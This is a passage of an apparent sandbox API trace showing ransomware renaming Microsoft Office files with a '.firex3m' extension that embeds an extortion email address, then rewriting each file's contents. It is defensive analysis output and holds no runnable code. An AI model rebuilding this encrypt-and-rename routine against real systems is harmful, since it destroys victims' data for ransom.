(hObject=0x688) returned 1 [0165.604] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0165.604] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1048\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1048\\powerpivotexcelclientaddin.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1048\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1048\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0168.734] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0168.734] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1048\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffc6c | out: lpFindFileData=0x55ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5a8a2df, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a8a2df, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11a60, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5480 [0168.734] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0168.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1048\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1048\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0168.734] GetProcessHeap () returned 0x630000 [0168.734] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x705b9d0 [0168.734] GetProcessHeap () returned 0x630000 [0168.734] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f1c300 [0168.735] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.735] ReadFile (in: hFile=0x688, lpBuffer=0x705b9d0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x705b9d0*, lpNumberOfBytesRead=0x55fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0177.750] GetProcessHeap () returned 0x630000 [0177.796] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317ec8 [0177.800] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.805] WriteFile (in: hFile=0x688, lpBuffer=0x6f1c300*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f1c300*, lpNumberOfBytesWritten=0x55fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0177.806] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.806] WriteFile (in: hFile=0x688, lpBuffer=0x6f276ff*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f276ff*, lpNumberOfBytesWritten=0x55fff0c*=0x20, lpOverlapped=0x0) returned 1 [0177.811] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.812] WriteFile (in: hFile=0x688, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x55fff0c*=0x4, lpOverlapped=0x0) returned 1 [0177.812] CloseHandle (hObject=0x688) returned 1 [0177.812] GetProcessHeap () returned 0x630000 [0177.812] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f1c300 | out: hHeap=0x630000) returned 1 [0177.812] GetProcessHeap () returned 0x630000 [0177.812] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x705b9d0 | out: hHeap=0x630000) returned 1 [0177.814] GetProcessHeap () returned 0x630000 [0177.814] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317ec8 | out: hHeap=0x630000) returned 1 [0177.814] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.814] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1048\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffcc4 | out: lpFindFileData=0x55ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5a8a2df, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a8a2df, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2feecb46, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11a84, dwReserved0=0xa707496, dwReserved1=0x705b9c8, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5280 [0177.814] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0177.814] Sleep (dwMilliseconds=0x1) [0180.045] SysReAllocStringLen (in: pbstr=0x55fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ru\\LocalizedStrings.xml", len=0x66 | out: pbstr=0x55fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ru\\LocalizedStrings.xml") returned 1 [0180.046] GetProcessHeap () returned 0x630000 [0180.046] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2aa4) returned 0x707d3d0 [0180.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ru\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ru\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0180.053] CloseHandle (hObject=0x688) returned 1 [0180.053] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0180.053] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ru\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ru\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ru\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ru\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0180.054] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0180.054] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ru\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffc6c | out: lpFindFileData=0x55ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1681b941, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15e5, dwReserved0=0x2d0074, dwReserved1=0x750073, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d4ec0 [0180.054] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0180.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ru\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ru\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0180.054] GetProcessHeap () returned 0x630000 [0180.054] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1601) returned 0x71aa040 [0180.055] GetProcessHeap () returned 0x630000 [0180.055] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1601) returned 0x727ae80 [0180.055] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.055] ReadFile (in: hFile=0x688, lpBuffer=0x71aa040, nNumberOfBytesToRead=0x15e0, lpNumberOfBytesRead=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x71aa040*, lpNumberOfBytesRead=0x55fff0c*=0x15e0, lpOverlapped=0x0) returned 1 [0180.083] GetProcessHeap () returned 0x630000 [0180.083] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317950 [0180.083] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.083] WriteFile (in: hFile=0x688, lpBuffer=0x727ae80*, nNumberOfBytesToWrite=0x15e0, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x727ae80*, lpNumberOfBytesWritten=0x55fff0c*=0x15e0, lpOverlapped=0x0) returned 1 [0180.083] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.083] WriteFile (in: hFile=0x688, lpBuffer=0x727c45f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x727c45f*, lpNumberOfBytesWritten=0x55fff0c*=0x20, lpOverlapped=0x0) returned 1 [0180.083] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.083] WriteFile (in: hFile=0x688, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x55fff0c*=0x4, lpOverlapped=0x0) returned 1 [0180.083] CloseHandle (hObject=0x688) returned 1 [0180.084] GetProcessHeap () returned 0x630000 [0180.084] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x727ae80 | out: hHeap=0x630000) returned 1 [0180.084] GetProcessHeap () returned 0x630000 [0180.084] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71aa040 | out: hHeap=0x630000) returned 1 [0180.084] GetProcessHeap () returned 0x630000 [0180.084] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317950 | out: hHeap=0x630000) returned 1 [0180.084] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0180.084] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ru\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffcc4 | out: lpFindFileData=0x55ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1681b941, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x314880fb, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1609, dwReserved0=0xa707496, dwReserved1=0x71aa038, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5000 [0180.084] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0180.084] Sleep (dwMilliseconds=0x1) [0180.087] SysReAllocStringLen (in: pbstr=0x55fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sl\\LocalizedStrings.xml", len=0x66 | out: pbstr=0x55fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sl\\LocalizedStrings.xml") returned 1 [0180.087] GetProcessHeap () returned 0x630000 [0180.087] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2aa8) returned 0x707d3d0 [0180.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sl\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sl\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e8 [0180.088] CloseHandle (hObject=0x6e8) returned 1 [0180.088] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0180.088] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sl\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sl\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sl\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sl\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0180.089] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0180.089] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sl\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffc6c | out: lpFindFileData=0x55ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1681b941, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1095, dwReserved0=0x2d0074, dwReserved1=0x750073, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d4e40 [0180.089] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0180.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sl\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sl\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e8 [0180.089] GetProcessHeap () returned 0x630000 [0180.089] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a1) returned 0x7239fd8 [0180.089] GetProcessHeap () returned 0x630000 [0180.089] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a1) returned 0x723b0e0 [0180.089] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.089] ReadFile (in: hFile=0x6e8, lpBuffer=0x7239fd8, nNumberOfBytesToRead=0x1080, lpNumberOfBytesRead=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7239fd8*, lpNumberOfBytesRead=0x55fff0c*=0x1080, lpOverlapped=0x0) returned 1 [0181.805] GetProcessHeap () returned 0x630000 [0181.805] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318670 [0181.805] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.805] WriteFile (in: hFile=0x6e8, lpBuffer=0x723b0e0*, nNumberOfBytesToWrite=0x1080, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x723b0e0*, lpNumberOfBytesWritten=0x55fff0c*=0x1080, lpOverlapped=0x0) returned 1 [0181.806] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.806] WriteFile (in: hFile=0x6e8, lpBuffer=0x723c15f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x723c15f*, lpNumberOfBytesWritten=0x55fff0c*=0x20, lpOverlapped=0x0) returned 1 [0181.806] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.806] WriteFile (in: hFile=0x6e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x55fff0c*=0x4, lpOverlapped=0x0) returned 1 [0181.806] CloseHandle (hObject=0x6e8) returned 1 [0181.806] GetProcessHeap () returned 0x630000 [0181.806] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x723b0e0 | out: hHeap=0x630000) returned 1 [0181.806] GetProcessHeap () returned 0x630000 [0181.806] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7239fd8 | out: hHeap=0x630000) returned 1 [0181.806] GetProcessHeap () returned 0x630000 [0181.806] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318670 | out: hHeap=0x630000) returned 1 [0182.071] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0182.071] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sl\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffcc4 | out: lpFindFileData=0x55ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1681b941, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3251247c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x10b9, dwReserved0=0x55ffd20, dwReserved1=0x7239fd8, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d53c0 [0182.071] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0182.071] Sleep (dwMilliseconds=0x1) [0182.107] SysReAllocStringLen (in: pbstr=0x55fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookAppt.nrr", len=0x4a | out: pbstr=0x55fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookAppt.nrr") returned 1 [0182.107] GetProcessHeap () returned 0x630000 [0182.107] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2a8c) returned 0x707d3d0 [0182.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookAppt.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlookappt.nrr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0182.108] CloseHandle (hObject=0x6cc) returned 1 [0182.108] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0182.108] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookAppt.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlookappt.nrr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookAppt.nrr.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlookappt.nrr.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0182.109] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0182.109] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookAppt.nrr.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffc6c | out: lpFindFileData=0x55ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaebc65e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaebc65e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xaebc65e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x448f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="TellMeOutlookAppt.nrr.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TEBD17~1.FIR")) returned 0x6d53c0 [0182.109] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0182.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookAppt.nrr.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlookappt.nrr.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0182.110] GetProcessHeap () returned 0x630000 [0182.110] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x702e910 [0182.110] GetProcessHeap () returned 0x630000 [0182.110] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7039d40 [0182.110] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.110] ReadFile (in: hFile=0x6cc, lpBuffer=0x702e910, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x702e910*, lpNumberOfBytesRead=0x55fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0190.440] GetProcessHeap () returned 0x630000 [0190.440] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318440 [0190.440] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.440] WriteFile (in: hFile=0x6cc, lpBuffer=0x7039d40*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7039d40*, lpNumberOfBytesWritten=0x55fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0190.441] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.441] WriteFile (in: hFile=0x6cc, lpBuffer=0x704513f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x704513f*, lpNumberOfBytesWritten=0x55fff0c*=0x20, lpOverlapped=0x0) returned 1 [0190.476] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.476] WriteFile (in: hFile=0x6cc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x55fff0c*=0x4, lpOverlapped=0x0) returned 1 [0190.476] CloseHandle (hObject=0x6cc) returned 1 [0190.476] GetProcessHeap () returned 0x630000 [0190.476] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7039d40 | out: hHeap=0x630000) returned 1 [0190.476] GetProcessHeap () returned 0x630000 [0190.476] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x702e910 | out: hHeap=0x630000) returned 1 [0190.480] GetProcessHeap () returned 0x630000 [0190.480] HeapFree (in: hHeap=0x630000, 